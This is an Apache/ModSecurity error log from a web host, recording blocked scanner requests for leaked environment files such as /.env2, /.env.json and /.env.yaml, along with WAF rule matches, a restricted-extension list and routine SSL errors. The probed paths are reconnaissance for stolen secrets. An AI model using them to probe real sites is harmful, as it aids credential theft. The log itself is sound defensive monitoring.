[Mon Oct 26 02:27:21.599466 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at7yyWVuCUgD8ovs4IEDfAAAABM"]
[Mon Oct 26 02:27:21.608547 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7yycsSJ_JPXSgPpTUCZAAAAA4"]
[Mon Oct 26 02:27:21.608794 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7yycsSJ_JPXSgPpTUCZAAAAA4"]
[Mon Oct 26 02:27:21.609040 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7yycsSJ_JPXSgPpTUCZAAAAA4"]
[Mon Oct 26 02:27:21.708038 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7yyWVuCUgD8ovs4IEDfQAAABM"]
[Mon Oct 26 02:27:21.708268 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7yyWVuCUgD8ovs4IEDfQAAABM"]
[Mon Oct 26 02:27:21.708571 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at7yyWVuCUgD8ovs4IEDfQAAABM"]
[Mon Oct 26 02:27:21.712930 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7yycsSJ_JPXSgPpTUCZQAAAA4"]
[Mon Oct 26 02:27:21.713088 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7yycsSJ_JPXSgPpTUCZQAAAA4"]
[Mon Oct 26 02:27:21.713297 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7yycsSJ_JPXSgPpTUCZQAAAA4"]
[Mon Oct 26 02:27:21.843680 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7yycsSJ_JPXSgPpTUCZgAAAA4"]
[Mon Oct 26 02:27:21.843955 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7yycsSJ_JPXSgPpTUCZgAAAA4"]
[Mon Oct 26 02:27:21.844262 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7yycsSJ_JPXSgPpTUCZgAAAA4"]
[Mon Oct 26 02:27:21.956028 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7yyWVuCUgD8ovs4IEDfgAAABM"]
[Mon Oct 26 02:27:21.956269 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7yyWVuCUgD8ovs4IEDfgAAABM"]
[Mon Oct 26 02:27:21.956506 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at7yyWVuCUgD8ovs4IEDfgAAABM"]
[Mon Oct 26 02:27:22.036701 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7yyssSJ_JPXSgPpTUCZwAAAA4"]
[Mon Oct 26 02:27:22.036981 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7yyssSJ_JPXSgPpTUCZwAAAA4"]
[Mon Oct 26 02:27:22.037276 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at7yyssSJ_JPXSgPpTUCZwAAAA4"]
[Mon Oct 26 02:27:22.094095 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7yymVuCUgD8ovs4IEDfwAAABM"]
[Mon Oct 26 02:27:22.094344 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7yymVuCUgD8ovs4IEDfwAAABM"]
[Mon Oct 26 02:27:22.094664 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.163.37.61:38456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at7yymVuCUgD8ovs4IEDfwAAABM"]
[Mon Oct 26 02:27:22.154863 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7yyssSJ_JPXSgPpTUCaAAAAA4"]
[Mon Oct 26 02:27:22.155099 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7yyssSJ_JPXSgPpTUCaAAAAA4"]
[Mon Oct 26 02:27:22.155379 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.163.37.61:38460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at7yyssSJ_JPXSgPpTUCaAAAAA4"]
[Mon Oct 26 02:27:42.264907 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 52.4.213.199:43036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:27:50.502752 2026] [security2:error] [pid 2973345:tid 2973345] [client 107.172.76.131:51548] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7y2TmdE81tCi2v472feQAAABg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:27:50.526443 2026] [security2:error] [pid 2973345:tid 2973345] [client 107.172.76.131:51548] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7y2TmdE81tCi2v472feQAAABg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:27:54.137936 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 52.0.218.219:44725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:27:58.209431 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.218.103.254:54756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:02.135435 2026] [ssl:error] [pid 2982383:tid 2982383] (70014)End of file found: [client 35.174.141.243:18122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:10.432461 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 44.221.227.90:51442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:14.163465 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 18.205.91.101:47852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:28:15.801306 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.67.42.132:40332] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7y_2VuCUgD8ovs4IEDggAAABM"]
[Mon Oct 26 02:28:15.801747 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.67.42.132:40332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7y_2VuCUgD8ovs4IEDggAAABM"]
[Mon Oct 26 02:28:15.802882 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.67.42.132:40332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7y_2VuCUgD8ovs4IEDggAAABM"]
[Mon Oct 26 02:28:15.860467 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40340] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at7y_1KAT3mNfkVB4iyiCAAAABU"]
[Mon Oct 26 02:28:15.860802 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/z9x8c7v6b5-debug-trigger-parkeranders.com"] [unique_id "at7y_1KAT3mNfkVB4iyiCAAAABU"]
[Mon Oct 26 02:28:15.861697 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7y_1KAT3mNfkVB4iyiCAAAABU"]
[Mon Oct 26 02:28:15.865788 2026] [security2:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40342] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7y_3Tk5TnE5TElIbuUSgAAAAA"]
[Mon Oct 26 02:28:15.866112 2026] [security2:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at7y_3Tk5TnE5TElIbuUSgAAAAA"]
[Mon Oct 26 02:28:15.867011 2026] [security2:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7y_3Tk5TnE5TElIbuUSgAAAAA"]
[Mon Oct 26 02:28:16.264907 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40340] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "parkeranders.com"] [uri "/api"] [unique_id "at7zAFKAT3mNfkVB4iyiCgAAABU"]
[Mon Oct 26 02:28:16.265338 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/api"] [unique_id "at7zAFKAT3mNfkVB4iyiCgAAABU"]
